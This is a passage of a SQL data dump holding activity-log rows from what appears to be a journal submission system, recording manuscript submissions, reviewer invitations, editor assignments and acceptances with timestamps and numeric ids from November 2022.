article',13165,'Editor',1011),(122759,'2022-11-14 12:36:10','Publisher has been Accepted Articles  article',12895,'',1441),(122760,'2022-11-14 12:37:31','Publisher has been Accepted Articles  article',12860,'',1434),(122761,'2022-11-14 12:38:37','Publisher has been Accepted Articles  article',12852,'',1445),(122762,'2022-11-14 12:39:00','Publisher has been Accepted Articles  article',12868,'',1445),(122763,'2022-11-14 12:39:29','Publisher has been Accepted Articles  article',12883,'',1445),(122764,'2022-11-14 15:13:03','Publisher has been Accepted Articles  article',13124,'Publisher',248),(122765,'2022-11-15 09:21:39','Publisher has Invited Reviewer',13154,'Publisher',85),(122766,'2022-11-15 09:21:44','Publisher has Invited Reviewer',13154,'Publisher',85),(122767,'2022-11-15 09:21:48','Publisher has Invited Reviewer',13154,'Publisher',85),(122768,'2022-11-15 09:21:53','Publisher has Invited Reviewer',13154,'Publisher',85),(122769,'2022-11-15 09:21:57','Publisher has Invited Reviewer',13154,'Publisher',85),(122770,'2022-11-15 09:52:15','Manuscript Submitted by Author using Submission form',13168,'Author',13373),(122771,'2022-11-15 12:01:32','Manuscript Updated',13146,'Publisher',1033),(122772,'2022-11-15 12:01:53','Publisher has been Accepted Articles  article',13146,'Publisher',1033),(122773,'2022-11-15 12:02:09','Manuscript Updated',13146,'Publisher',1033),(122774,'2022-11-15 12:02:52','Manuscript Updated',13147,'Publisher',1033),(122775,'2022-11-15 12:03:14','Publisher has been Accepted Articles  article',13147,'Publisher',1033),(122776,'2022-11-15 12:03:23','Manuscript Updated',13147,'Publisher',1033),(122777,'2022-11-15 12:03:51','Manuscript Updated',13156,'Publisher',1033),(122778,'2022-11-15 12:04:28','Publisher has been Accepted Articles  article',13156,'Publisher',1033),(122779,'2022-11-15 12:04:36','Manuscript Updated',13156,'Publisher',1033),(122780,'2022-11-15 12:04:53','Manuscript Updated',13158,'Publisher',1033),(122781,'2022-11-15 12:05:21','Publisher has been Accepted Articles  article',13158,'Publisher',1033),(122782,'2022-11-15 12:05:30','Manuscript Updated',13158,'Publisher',1033),(122783,'2022-11-15 12:05:40','Manuscript Updated',13159,'Publisher',1033),(122784,'2022-11-15 12:05:55','Publisher has been Accepted Articles  article',13159,'Publisher',1033),(122785,'2022-11-15 12:06:06','Manuscript Updated',13159,'Publisher',1033),(122786,'2022-11-15 13:44:53','Manuscript Updated',13165,'Publisher',376),(122787,'2022-11-15 13:46:43','Publisher has been Accepted Articles  article',13165,'Publisher',376),(122788,'2022-11-15 15:03:25','Publisher has been Assigned Editor',13168,'Publisher',75),(122789,'2022-11-15 15:05:28','Publisher has Invited Reviewer',13168,'Publisher',75),(122790,'2022-11-15 15:05:32','Publisher has Invited Reviewer',13168,'Publisher',75),(122791,'2022-11-15 15:05:37','Publisher has Invited Reviewer',13168,'Publisher',75),(122792,'2022-11-15 15:05:41','Publisher has Invited Reviewer',13168,'Publisher',75),(122793,'2022-11-15 15:05:46','Publisher has Invited Reviewer',13168,'Publisher',75),(122794,'2022-11-15 16:48:40','Manuscript Submitted by Author using Submission form',13169,'Author',13374),(122795,'2022-11-16 09:11:15','Publisher has Invited Reviewer',13154,'Publisher',85),(122796,'2022-11-16 09:11:20','Publisher has Invited Reviewer',13154,'Publisher',85),(122797,'2022-11-16 09:11:24','Publisher has Invited Reviewer',13154,'Publisher',85),(122798,'2022-11-16 09:11:29','Publisher has Invited Reviewer',13154,'Publisher',85),(122799,'2022-11-16 09:11:34','Publisher has Invited Reviewer',13154,'Publisher',85),(122800,'2022-11-16 09:32:52','Publisher has Invited Reviewer',13168,'Publisher',75),(122801,'2022-11-16 09:32:57','Publisher has Invited Reviewer',13168,'Publisher',75),(122802,'2022-11-16 09:33:02','Publisher has Invited Reviewer',13168,'Publisher',75),(122803,'2022-11-16 09:33:07','Publisher has Invited Reviewer',13168,'Publisher',75),(122804,'2022-11-16 09:33:11','Publisher has Invited Reviewer',13168,'Publisher',75),(122805,'2022-11-16 09:33:16','Publisher has Invited Reviewer',13168,'Publisher',75),(122806,'2022-11-16 09:33:21','Publisher has Invited Reviewer',13168,'Publisher',75),(122807,'2022-11-16 09:33:26','Publisher has Invited Reviewer',13168,'Publisher',75),(122808,'2022-11-16 09:33:31','Publisher has Invited Reviewer',13168,'Publisher',75),(122809,'2022-11-16 09:33:35','Publisher has Invited Reviewer',13168,'Publisher',75),(122810,'2022-11-16 09:33:40','Publisher has Invited Reviewer',13168,'Publisher',75),(122811,'2022-11-16 18:02:43','Publisher has Invited Reviewer',13131,'Publisher',376),(122812,'2022-11-16 18:02:54','Publisher has Invited Reviewer',13131,'Publisher',376),(122813,'2022-11-16 18:03:10','Publisher has Invited Reviewer',13131,'Publisher',376),(122814,'2022-11-16 18:03:23','Publisher has Invited Reviewer',13131,'Publisher',376),(122815,'2022-11-16 18:03:37','Publisher has Invited Reviewer',13131,'Publisher',376),(122816,'2022-11-16 18:03:55','Publisher has Invited Reviewer',13131,'Publisher',376),(122817,'2022-11-16 18:04:08','Publisher has Invited Reviewer',13131,'Publisher',376),(122818,'2022-11-16 18:04:19','Publisher has Invited Reviewer',13131,'Publisher',376),(122819,'2022-11-16 18:04:29','Publisher has Invited Reviewer',13131,'Publisher',376),(122820,'2022-11-16 18:04:40','Publisher has Invited Reviewer',13131,'Publisher',376),(122821,'2022-11-16 18:04:49','Publisher has Invited Reviewer',13131,'Publisher',376),(122822,'2022-11-16 18:04:59','Publisher has Invited Reviewer',13131,'Publisher',376),(122823,'2022-11-16 18:46:33','Editor has Accepted to review Manuscript',13163,'Editor',1594),(122824,'2022-11-16 18:47:02','Editor has been Editor Decision Accepted article',13163,'Editor',1594),(122825,'2022-11-17 01:34:50','Manuscript Submitted by Author using Submission form',13170,'Author',13375),(122826,'2022-11-17 11:09:37','Publisher has Invited Reviewer',13130,'Publisher',376),(122827,'2022-11-17 11:09:42','Publisher has Invited Reviewer',13130,'Publisher',376),(122828,'2022-11-17 11:09:47','Publisher has Invited Reviewer',13130,'Publisher',376),(122829,'2022-11-17 11:09:52','Publisher has Invited Reviewer',13130,'Publisher',376),(122830,'2022-11-17 11:09:57','Publisher has Invited Reviewer',13130,'Publisher',376),(122831,'2022-11-17 11:10:02','Publisher has Invited Reviewer',13130,'Publisher',376),(122832,'2022-11-17 11:38:17','Publisher has been Accepted Articles  article',12386,'',1334),(122833,'2022-11-17 12:27:34','Manuscript Updated',13131,'Publisher',376),(122834,'2022-11-17 12:28:39','Publisher has been Accepted Articles  article',13131,'Publisher',376),(122835,'2022-11-17 12:29:04','Manuscript Updated',13130,'Publisher',376),(122836,'2022-11-17 12:29:20','Publisher has been Accepted Articles  article',13130,'Publisher',376),(122837,'2022-11-17 13:13:10','Manuscript Submitted by Publisher',13171,'',1050),(122838,'2022-11-17 15:07:31','Manuscript Submitted by Publisher',13172,'Publisher',376),(122839,'2022-11-17 15:33:18','Manuscript Submitted by Publisher',13173,'Publisher',376),(122840,'2022-11-17 15:33:34','Manuscript Submitted by Author using Submission form',13174,'Author',13379),(122841,'2022-11-17 15:49:44','Publisher has been Assigned Editor',13155,'Publisher',673),(122842,'2022-11-17 23:15:10','Reviewer has submitted comments',13154,'Reviewer',21528),(122843,'2022-11-18 09:53:25','Publisher has been Assigned Editor',13160,'Publisher',48),(122844,'2022-11-18 09:53:38','Publisher has been Assigned Editor',13164,'Publisher',48),(122845,'2022-11-18 09:53:43','Publisher has been Withdrawn  article',12724,'Publisher',85),(122846,'2022-11-18 10:37:48','Editor has Accepted to review Manuscript',13169,'Editor',1012),(122847,'2022-11-18 10:37:59','Editor has been Editor Decision Accepted article',13169,'Editor',1012),(122848,'2022-11-18 10:39:21','Publisher has Invited Reviewer',13169,'Publisher',376),(122849,'2022-11-18 10:39:26','Publisher has Invited Reviewer',13169,'Publisher',376),(122850,'2022-11-18 12:09:10','Manuscript Submitted by Publisher',13175,'Publisher',85),(122851,'2022-11-18 12:14:05','Manuscript Submitted by Publisher',13176,'Publisher',85),(122852,'2022-11-18 12:17:30','Manuscript Submitted by Publisher',13177,'Publisher',85),(122853,'2022-11-18 12:22:07','Manuscript Submitted by Publisher',13178,'Publisher',85),(122854,'2022-11-18 12:28:45','Manuscript Updated',13169,'Publisher',376),(122855,'2022-11-18 12:29:01','Publisher has been Accepted Articles  article',13169,'Publisher',376),(122856,'2022-11-19 10:47:34','Manuscript Submitted by Author using Submission form',13179,'Author',13384),(122857,'2022-11-19 11:05:58','Publisher has been Assigned Editor',13174,'Publisher',48),(122858,'2022-11-19 11:31:13','Manuscript Submitted by Author using Submission form',13180,'Author',13385),(122859,'2022-11-21 12:02:55','Publisher has been Assigned Editor',13173,'Publisher',376),(122860,'2022-11-21 12:03:41','Editor has Accepted to review Manuscript',13173,'Editor',1705),(122861,'2022-11-21 12:03:58','Editor has been Editor Decision Accepted article',13173,'Editor',1705),(122862,'2022-11-21 12:19:24','Manuscript Updated',13173,'Publisher',376),(122863,'2022-11-21 12:19:43','Publisher has been Accepted Articles  article',13173,'Publisher',376),(122864,'2022-11-21 12:26:41','Manuscript Submitted by Publisher',13181,'Publisher',376),(122865,'2022-11-21 13:48:17','Publisher has Invited Reviewer',13164,'Publisher',48),(122866,'2022-11-21 13:48:22','Publisher has Invited Reviewer',13164,'Publisher',48),(122867,'2022-11-21 15:04:24','Publisher has been Accepted Articles  article',13047,'Publisher',972),(122868,'2022-11-21 15:19:49','Manuscript Submitted by Publisher',13182,'',1050),(122869,'2022-11-21 15:22:59','Publisher has been Assigned Editor',13178,'Publisher',85),(122870,'2022-11-21 15:23:14','Publisher has been Assigned Editor',13177,'Publisher',85),(122871,'2022-11-21 15:23:29','Publisher has been Assigned Editor',13176,'Publisher',85),(122872,'2022-11-21 15:23:43','Publisher has been Assigned Editor',13175,'Publisher',85),(122873,'2022-11-21 15:24:21','Editor has Accepted to review Manuscript',13175,'Editor',1394),(122874,'2022-11-21 15:24:42','Editor has been Editor Decision Accepted article',13175,'Editor',1394),(122875,'2022-11-21 15:24:49','Editor has Accepted to review Manuscript',13176,'Editor',1394),(122876,'2022-11-21 15:24:58','Editor has been Editor Decision Accepted article',13176,'Editor',1394),(122877,'2022-11-21 15:25:04','Editor has Accepted to review Manuscript',13177,'Editor',1394),(122878,'2022-11-21 15:25:13','Editor has been Editor Decision Accepted article',13177,'Editor',1394),(122879,'2022-11-21 15:25:20','Editor has Accepted to review Manuscript',13178,'Editor',1394),(122880,'2022-11-21 15:25:29','Editor has been Editor Decision Accepted article',13178,'Editor',1394),(122881,'2022-11-21 16:59:30','Manuscript Updated',13175,'Publisher',85),(122882,'2022-11-21 17:01:18','Manuscript Updated',13175,'Publisher',85),(122883,'2022-11-21 17:01:53','Manuscript Updated',13176,'Publisher',85),(122884,'2022-11-21 17:02:19','Publisher has been Accepted Articles  article',13176,'Publisher',85),(122885,'2022-11-21 17:02:34','Manuscript Updated',13176,'Publisher',85),(122886,'2022-11-21 17:02:56','Manuscript Updated',13177,'Publisher',85),(122887,'2022-11-21 17:03:16','Publisher has been Accepted Articles  article',13177,'Publisher',85),(122888,'2022-11-21 17:03:27','Manuscript Updated',13177,'Publisher',85),(122889,'2022-11-21 17:03:40','Manuscript Updated',13178,'Publisher',85),(122890,'2022-11-21 17:04:04','Publisher has been Accepted Articles  article',13178,'Publisher',85),(122891,'2022-11-21 17:04:19','Manuscript Updated',13178,'Publisher',85),(122892,'2022-11-21 17:04:47','Manuscript Updated',13175,'Publisher',85),(122893,'2022-11-21 19:10:32','Manuscript Submitted by Author using Submission form',13183,'Author',13388),(122894,'2022-11-22 10:43:16','Manuscript Submitted by Publisher',13184,'Publisher',48),(122895,'2022-11-22 10:45:41','Manuscript Submitted by Author using Submission form',13185,'Author',13390),(122896,'2022-11-22 10:50:34','Manuscript Submitted by Author using Submission form',13186,'Author',13391),(122897,'2022-11-22 11:12:00','Publisher has Invited Reviewer',13160,'Publisher',48),(122898,'2022-11-22 11:12:05','Publisher has Invited Reviewer',13160,'Publisher',48),(122899,'2022-11-22 11:12:09','Publisher has Invited Reviewer',13160,'Publisher',48),(122900,'2022-11-22 11:12:14','Publisher has Invited Reviewer',13160,'Publisher',48),(122901,'2022-11-22 11:12:19','Publisher has Invited Reviewer',13160,'Publisher',48),(122902,'2022-11-22 11:20:13','Publisher: Accept Notification has been sent to Author',13149,'Publisher',48),(122903,'2022-11-22 12:07:55','Reviewer has submitted comments',13164,'Reviewer',11715),(122904,'2022-11-22 12:08:44','Editor has Accepted to review Manuscript',13164,'Editor',194),(122905,'2022-11-22 12:08:58','Editor has been Editor Decision Accepted article',13164,'Editor',194),(122906,'2022-11-22 13:53:33','Publisher: Accept Notification has been sent to Author',13164,'Publisher',48),(122907,'2022-11-22 20:18:27','Manuscript Submitted by Author using Submission form',13187,'Author',13392),(122908,'2022-11-23 09:26:45','Publisher has Invited Reviewer',13168,'Publisher',75),(122909,'2022-11-23 09:26:50','Publisher has Invited Reviewer',13168,'Publisher',75),(122910,'2022-11-23 09:26:55','Publisher has Invited Reviewer',13168,'Publisher',75),(122911,'2022-11-23 09:26:59','Publisher has Invited Reviewer',13168,'Publisher',75),(122912,'2022-11-23 09:27:04','Publisher has Invited Reviewer',13168,'Publisher',75),(122913,'2022-11-23 09:27:09','Publisher has Invited Reviewer',13168,'Publisher',75),(122914,'2022-11-23 09:27:13','Publisher has Invited Reviewer',13168,'Publisher',75),(122915,'2022-11-23 09:27:18','Publisher has Invited Reviewer',13168,'Publisher',75),(122916,'2022-11-23 09:27:22','Publisher has Invited Reviewer',13168,'Publisher',75),(122917,'2022-11-23 09:27:27','Publisher has Invited Reviewer',13168,'Publisher',75),(122918,'2022-11-23 09:27:32','Publisher has Invited Reviewer',13168,'Publisher',75),(122919,'2022-11-23 09:27:36','Publisher has Invited Reviewer',13168,'Publisher',75),(122920,'2022-11-23 09:27:41','Publisher has Invited Reviewer',13168,'Publisher',75),(122921,'2022-11-23 09:27:46','Publisher has Invited Reviewer',13168,'Publisher',75),(122922,'2022-11-23 09:27:50','Publisher has Invited Reviewer',13168,'Publisher',75),(122923,'2022-11-23 11:26:16','Publisher has Invited Reviewer',13155,'Publisher',673),(122924,'2022-11-23 11:26:21','Publisher has Invited Reviewer',13155,'Publisher',673),(122925,'2022-11-23 11:26:26','Publisher has Invited Reviewer',13155,'Publisher',673),(122926,'2022-11-23 11:26:30','Publisher has Invited Reviewer',13155,'Publisher',673),(122927,'2022-11-23 11:26:35','Publisher has Invited Reviewer',13155,'Publisher',673),(122928,'2022-11-23 11:26:40','Publisher has Invited Reviewer',13155,'Publisher',673),(122929,'2022-11-23 11:26:45','Publisher has Invited Reviewer',13155,'Publisher',673),(122930,'2022-11-23 11:26:49','Publisher has Invited Reviewer',13155,'Publisher',673),(122931,'2022-11-23 11:26:54','Publisher has Invited Reviewer',13155,'Publisher',673),(122932,'2022-11-23 11:26:58','Publisher has Invited Reviewer',13155,'Publisher',673),(122933,'2022-11-23 11:28:04','Publisher has Invited Reviewer',13153,'Publisher',673),(122934,'2022-11-23 11:28:09','Publisher has Invited Reviewer',13153,'Publisher',673),(122935,'2022-11-23 11:28:14','Publisher has Invited Reviewer',13153,'Publisher',673),(122936,'2022-11-23 11:28:18','Publisher has Invited Reviewer',13153,'Publisher',673),(122937,'2022-11-23 11:28:23','Publisher has Invited Reviewer',13153,'Publisher',673),(122938,'2022-11-23 11:28:28','Publisher has Invited Reviewer',13153,'Publisher',673),(122939,'2022-11-23 11:28:32','Publisher has Invited Reviewer',13153,'Publisher',673),(122940,'2022-11-23 11:28:37','Publisher has Invited Reviewer',13153,'Publisher',673),(122941,'2022-11-23 11:42:09','Publisher has Invited Reviewer',13066,'Publisher',673),(122942,'2022-11-23 11:42:14','Publisher has Invited Reviewer',13066,'Publisher',673),(122943,'2022-11-23 11:42:19','Publisher has Invited Reviewer',13066,'Publisher',673),(122944,'2022-11-23 11:42:24','Publisher has Invited Reviewer',13066,'Publisher',673),(122945,'2022-11-23 11:42:29','Publisher has Invited Reviewer',13066,'Publisher',673),(122946,'2022-11-23 11:42:34','Publisher has Invited Reviewer',13066,'Publisher',673),(122947,'2022-11-23 11:42:39','Publisher has Invited Reviewer',13066,'Publisher',673),(122948,'2022-11-23 11:42:43','Publisher has Invited Reviewer',13066,'Publisher',673),(122949,'2022-11-23 11:42:48','Publisher has Invited Reviewer',13066,'Publisher',673),(122950,'2022-11-23 11:42:54','Publisher has Invited Reviewer',13066,'Publisher',673),(122951,'2022-11-23 12:18:59','Manuscript Submitted by Author using Submission form',13188,'Author',13393),(122952,'2022-11-23 15:18:17','Manuscript Submitted by Author using Submission form',13189,'Author',13394),(122953,'2022-11-23 16:39:07','Publisher has been Assigned Editor',13183,'Publisher',988),(122954,'2022-11-23 16:39:51','Publisher has Invited Reviewer',13183,'Publisher',988),(122955,'2022-11-23 16:39:56','Publisher has Invited Reviewer',13183,'Publisher',988),(122956,'2022-11-23 16:40:00','Publisher has Invited Reviewer',13183,'Publisher',988),(122957,'2022-11-23 16:40:53','Publisher has Invited Reviewer',13183,'Publisher',988),(122958,'2022-11-23 16:40:58','Publisher has Invited Reviewer',13183,'Publisher',988),(122959,'2022-11-23 16:41:03','Publisher has Invited Reviewer',13183,'Publisher',988),(122960,'2022-11-23 16:44:53','Publisher has been Assigned Editor',13181,'Publisher',376),(122961,'2022-11-23 16:46:40','Editor has Accepted to review Manuscript',13181,'Editor',1705),(122962,'2022-11-23 16:46:51','Editor has been Editor Decision Accepted article',13181,'Editor',1705),(122963,'2022-11-23 16:55:35','Manuscript Updated',13181,'Publisher',376),(122964,'2022-11-23 16:55:51','Publisher has been Accepted Articles  article',13181,'Publisher',376),(122965,'2022-11-23 16:58:12','Manuscript Submitted by Author using Submission form',13190,'Author',13396),(122966,'2022-11-24 07:59:57','Manuscript Submitted by Author using Submission form',13191,'Author',13397),(122967,'2022-11-24 09:56:16','Manuscript Submitted by Publisher',13192,'Publisher',85),(122968,'2022-11-24 10:00:00','Manuscript Submitted by Publisher',13193,'Publisher',85),(122969,'2022-11-24 10:04:03','Manuscript Submitted by Publisher',13194,'Publisher',85),(122970,'2022-11-24 10:07:10','Manuscript Submitted by Publisher',13195,'Publisher',85),(122971,'2022-11-24 10:09:23','Manuscript Submitted by Publisher',13196,'Publisher',85),(122972,'2022-11-24 10:40:34','Publisher has Invited Reviewer',13142,'Publisher',319),(122973,'2022-11-24 10:40:35','Publisher has Invited Reviewer',13142,'Publisher',319),(122974,'2022-11-24 10:40:36','Publisher has Invited Reviewer',13142,'Publisher',319),(122975,'2022-11-24 10:40:37','Publisher has Invited Reviewer',13142,'Publisher',319),(122976,'2022-11-24 10:40:37','Publisher has Invited Reviewer',13142,'Publisher',319),(122977,'2022-11-24 10:40:38','Publisher has Invited Reviewer',13142,'Publisher',319),(122978,'2022-11-24 10:40:39','Publisher has Invited Reviewer',13142,'Publisher',319),(122979,'2022-11-24 10:40:40','Publisher has Invited Reviewer',13142,'Publisher',319),(122980,'2022-11-24 10:40:41','Publisher has Invited Reviewer',13142,'Publisher',319),(122981,'2022-11-24 10:40:41','Publisher has Invited Reviewer',13142,'Publisher',319),(122982,'2022-11-24 10:40:42','Publisher has Invited Reviewer',13142,'Publisher',319),(122983,'2022-11-24 10:40:43','Publisher has Invited Reviewer',13142,'Publisher',319),(122984,'2022-11-24 10:40:44','Publisher has Invited Reviewer',13142,'Publisher',319),(122985,'2022-11-24 10:40:44','Publisher has Invited Reviewer',13142,'Publisher',319),(122986,'2022-11-24 10:42:02','Manuscript Submitted by Publisher',13197,'Publisher',673),(122987,'2022-11-24 10:43:55','Manuscript Submitted by Publisher',13198,'Publisher',673),(122988,'2022-11-24 13:18:54','Reviewer has submitted comments',13067,'Reviewer',21526),(122989,'2022-11-24 14:13:47','Reviewer has submitted comments',13076,'Reviewer',21494),(122990,'2022-11-24 14:14:33','Editor has Accepted to review Manuscript',13076,'Editor',190),(122991,'2022-11-24 14:14:42','Editor has been Editor Decision Accepted article',13076,'Editor',190),(122992,'2022-11-24 14:15:35','Publisher: Accept Notification has been sent to Author',13076,'Publisher',48),(122993,'2022-11-24 14:15:49','Publisher has been Accepted Articles  article',13076,'Publisher',48),(122994,'2022-11-24 14:50:32','Manuscript Submitted by Author using Submission form',13199,'Author',13404),(122995,'2022-11-24 15:05:28','Publisher has Invited Reviewer',13174,'Publisher',48),(122996,'2022-11-24 15:05:33','Publisher has Invited Reviewer',13174,'Publisher',48),(122997,'2022-11-24 15:05:38','Publisher has Invited Reviewer',13174,'Publisher',48),(122998,'2022-11-24 15:05:42','Publisher has Invited Reviewer',13174,'Publisher',48),(122999,'2022-11-24 15:05:47','Publisher has Invited Reviewer',13174,'Publisher',48),(123000,'2022-11-24 16:01:09','Manuscript Submitted by Author using Submission form',13200,'Author',13405),(123001,'2022-11-25 09:31:33','Publisher has been Assigned Editor',13189,'Publisher',319),(123002,'2022-11-25 09:32:17','Publisher has Invited Reviewer',13189,'Publisher',319),(123003,'2022-11-25 09:32:18','Publisher has Invited Reviewer',13189,'Publisher',319),(123004,'2022-11-25 09:32:19','Publisher has Invited Reviewer',13189,'Publisher',319),(123005,'2022-11-25 09:32:20','Publisher has Invited Reviewer',13189,'Publisher',319),(123006,'2022-11-25 09:32:21','Publisher has Invited Reviewer',13189,'Publisher',319),(123007,'2022-11-25 09:32:22','Publisher has Invited Reviewer',13189,'Publisher',319),(123008,'2022-11-25 09:32:24','Publisher has Invited Reviewer',13189,'Publisher',319),(123009,'2022-11-25 09:32:24','Publisher has Invited Reviewer',13189,'Publisher',319),(123010,'2022-11-25 09:32:25','Publisher has Invited Reviewer',13189,'Publisher',319),(123011,'2022-11-25 10:40:57','Publisher has been Assigned Editor',13196,'Publisher',85),(123012,'2022-11-25 10:41:18','Publisher has been Assigned Editor',13195,'Publisher',85),(123013,'2022-11-25 10:41:43','Publisher has been Assigned Editor',13194,'Publisher',85),(123014,'2022-11-25 10:42:05','Publisher has been Assigned Editor',13193,'Publisher',85),(123015,'2022-11-25 10:43:13','Publisher has been Assigned Editor',13192,'Publisher',85),(123016,'2022-11-25 10:46:46','Editor has been Editor Decision Accepted article',13132,'Editor',1439),(123017,'2022-11-25 10:47:29','Editor has Accepted to review Manuscript',13192,'Editor',1439),(123018,'2022-11-25 10:47:51','Editor has been Editor Decision Accepted article',13192,'Editor',1439),(123019,'2022-11-25 10:47:59','Editor has Accepted to review Manuscript',13193,'Editor',1439),(123020,'2022-11-25 10:48:07','Editor has been Editor Decision Accepted article',13193,'Editor',1439),(123021,'2022-11-25 10:48:15','Editor has Accepted to review Manuscript',13194,'Editor',1439),(123022,'2022-11-25 10:48:23','Editor has been Editor Decision Accepted article',13194,'Editor',1439),(123023,'2022-11-25 10:48:33','Editor has Accepted to review Manuscript',13195,'Editor',1439),(123024,'2022-11-25 10:48:41','Editor has been Editor Decision Accepted article',13195,'Editor',1439),(123025,'2022-11-25 10:48:50','Editor has Accepted to review Manuscript',13196,'Editor',1439),(123026,'2022-11-25 10:49:04','Editor has been Editor Decision Accepted article',13196,'Editor',1439),(123027,'2022-11-25 10:49:54','Publisher has been Accepted Articles  article',13164,'Publisher',48),(123028,'2022-11-25 11:18:45','Manuscript Updated',13192,'Publisher',85),(123029,'2022-11-25 11:19:28','Publisher has been Accepted Articles  article',13192,'Publisher',85),(123030,'2022-11-25 11:19:39','Manuscript Updated',13192,'Publisher',85),(123031,'2022-11-25 11:19:59','Manuscript Updated',13193,'Publisher',85),(123032,'2022-11-25 11:20:19','Publisher has been Accepted Articles  article',13193,'Publisher',85),(123033,'2022-11-25 11:20:39','Manuscript Updated',13193,'Publisher',85),(123034,'2022-11-25 11:21:07','Manuscript Updated',13194,'Publisher',85),(123035,'2022-11-25 11:21:28','Publisher has been Accepted Articles  article',13194,'Publisher',85),(123036,'2022-11-25 11:21:45','Manuscript Updated',13194,'Publisher',85),(123037,'2022-11-25 11:22:02','Manuscript Updated',13195,'Publisher',85),(123038,'2022-11-25 11:22:21','Publisher has been Accepted Articles  article',13195,'Publisher',85),(123039,'2022-11-25 11:22:35','Manuscript Updated',13195,'Publisher',85),(123040,'2022-11-25 11:23:01','Manuscript Updated',13196,'Publisher',85),(123041,'2022-11-25 11:23:21','Publisher has been Accepted Articles  article',13196,'Publisher',85),(123042,'2022-11-25 11:23:40','Manuscript Updated',13196,'Publisher',85),(123043,'2022-11-25 12:26:21','Publisher has been Assigned Editor',13179,'Publisher',972),(123044,'2022-11-25 12:26:38','Publisher has been Assigned Editor',13180,'Publisher',972),(123045,'2022-11-25 12:26:51','Publisher has been Assigned Editor',13185,'Publisher',972),(123046,'2022-11-25 12:27:10','Publisher has been Assigned Editor',13186,'Publisher',972),(123047,'2022-11-25 12:27:45','Publisher has Invited Reviewer',13186,'Publisher',972),(123048,'2022-11-25 12:27:50','Publisher has Invited Reviewer',13186,'Publisher',972),(123049,'2022-11-25 12:27:54','Publisher has Invited Reviewer',13186,'Publisher',972),(123050,'2022-11-25 12:27:59','Publisher has Invited Reviewer',13186,'Publisher',972),(123051,'2022-11-25 12:28:32','Publisher has Invited Reviewer',13185,'Publisher',972),(123052,'2022-11-25 12:28:36','Publisher has Invited Reviewer',13185,'Publisher',972),(123053,'2022-11-25 12:28:41','Publisher has Invited Reviewer',13185,'Publisher',972),(123054,'2022-11-25 12:29:13','Publisher has Invited Reviewer',13180,'Publisher',972),(123055,'2022-11-25 12:29:18','Publisher has Invited Reviewer',13180,'Publisher',972),(123056,'2022-11-25 12:29:22','Publisher has Invited Reviewer',13180,'Publisher',972),(123057,'2022-11-25 12:29:52','Publisher has Invited Reviewer',13179,'Publisher',972),(123058,'2022-11-25 12:29:57','Publisher has Invited Reviewer',13179,'Publisher',972),(123059,'2022-11-25 12:30:02','Publisher has Invited Reviewer',13179,'Publisher',972),(123060,'2022-11-25 13:23:27','Manuscript Submitted by Publisher',13201,'Publisher',376),(123061,'2022-11-25 13:24:40','Manuscript Submitted by Publisher',13202,'Publisher',376),(123062,'2022-11-25 13:26:05','Manuscript Submitted by Publisher',13203,'Publisher',376),(123063,'2022-11-25 13:31:24','Editor has Accepted to review Manuscript',13179,'Editor',1787),(123064,'2022-11-25 13:31:38','Editor has been Editor Decision Accepted article',13179,'Editor',1787),(123065,'2022-11-25 13:32:11','Editor has Accepted to review Manuscript',13180,'Editor',1786),(123066,'2022-11-25 13:32:20','Editor has been Editor Decision Accepted article',13180,'Editor',1786),(123067,'2022-11-25 13:32:35','Editor has been Editor Decision Accepted article',13180,'Editor',1786),(123068,'2022-11-25 13:33:15','Editor has Accepted to review Manuscript',13185,'Editor',1785),(123069,'2022-11-25 13:33:27','Editor has been Editor Decision Accepted article',13185,'Editor',1785),(123070,'2022-11-25 13:33:54','Editor has Accepted to review Manuscript',13186,'Editor',1784),(123071,'2022-11-25 13:34:04','Editor has been Editor Decision Accepted article',13186,'Editor',1784),(123072,'2022-11-25 13:34:47','Manuscript Updated',13186,'Publisher',972),(123073,'2022-11-25 13:35:03','Manuscript Updated',13185,'Publisher',972),(123074,'2022-11-25 13:35:12','Manuscript Updated',13180,'Publisher',972),(123075,'2022-11-25 13:35:24','Manuscript Updated',13179,'Publisher',972),(123076,'2022-11-25 13:36:49','Publisher has been Accepted Articles  article',13186,'Publisher',972),(123077,'2022-11-25 13:37:09','Publisher has been Accepted Articles  article',13185,'Publisher',972),(123078,'2022-11-25 13:37:28','Publisher has been Accepted Articles  article',13180,'Publisher',972),(123079,'2022-11-25 13:37:48','Publisher has been Accepted Articles  article',13179,'Publisher',972),(123080,'2022-11-25 13:53:40','Publisher has been Assigned Editor',13190,'Publisher',988),(123081,'2022-11-25 13:54:24','Publisher has Invited Reviewer',13190,'Publisher',988),(123082,'2022-11-25 13:54:29','Publisher has Invited Reviewer',13190,'Publisher',988),(123083,'2022-11-25 13:54:34','Publisher has Invited Reviewer',13190,'Publisher',988),(123084,'2022-11-25 13:54:38','Publisher has Invited Reviewer',13190,'Publisher',988),(123085,'2022-11-25 13:54:43','Publisher has Invited Reviewer',13190,'Publisher',988),(123086,'2022-11-25 13:54:48','Publisher has Invited Reviewer',13190,'Publisher',988),(123087,'2022-11-25 13:54:52','Publisher has Invited Reviewer',13190,'Publisher',988),(123088,'2022-11-25 13:54:57','Publisher has Invited Reviewer',13190,'Publisher',988),(123089,'2022-11-25 13:55:02','Publisher has Invited Reviewer',13190,'Publisher',988),(123090,'2022-11-25 13:55:06','Publisher has Invited Reviewer',13190,'Publisher',988),(123091,'2022-11-25 13:55:11','Publisher has Invited Reviewer',13190,'Publisher',988),(123092,'2022-11-25 14:02:47','Manuscript Submitted by Author using Submission form',13204,'Author',13409),(123093,'2022-11-25 14:25:32','Reviewer has submitted comments',13123,'Reviewer',1000),(123094,'2022-11-25 14:27:26','Editor has been Editor Decision Accepted article',13123,'Editor',192),(123095,'2022-11-25 14:28:05','Publisher has been Accepted Articles  article',13123,'Publisher',48),(123096,'2022-11-25 15:02:32','Manuscript Submitted by Author using Submission form',13205,'Author',13410),(123097,'2022-11-25 15:16:45','Manuscript Submitted by Publisher',13206,'Publisher',48),(123098,'2022-11-25 15:18:28','Manuscript Submitted by Publisher',13207,'Publisher',48),(123099,'2022-11-25 15:54:48','Publisher has Invited Reviewer',13111,'Publisher',319),(123100,'2022-11-25 15:54:50','Publisher has Invited Reviewer',13111,'Publisher',319),(123101,'2022-11-25 15:54:51','Publisher has Invited Reviewer',13111,'Publisher',319),(123102,'2022-11-25 15:54:52','Publisher has Invited Reviewer',13111,'Publisher',319),(123103,'2022-11-25 15:54:53','Publisher has Invited Reviewer',13111,'Publisher',319),(123104,'2022-11-25 15:54:54','Publisher has Invited Reviewer',13111,'Publisher',319),(123105,'2022-11-25 15:54:55','Publisher has Invited 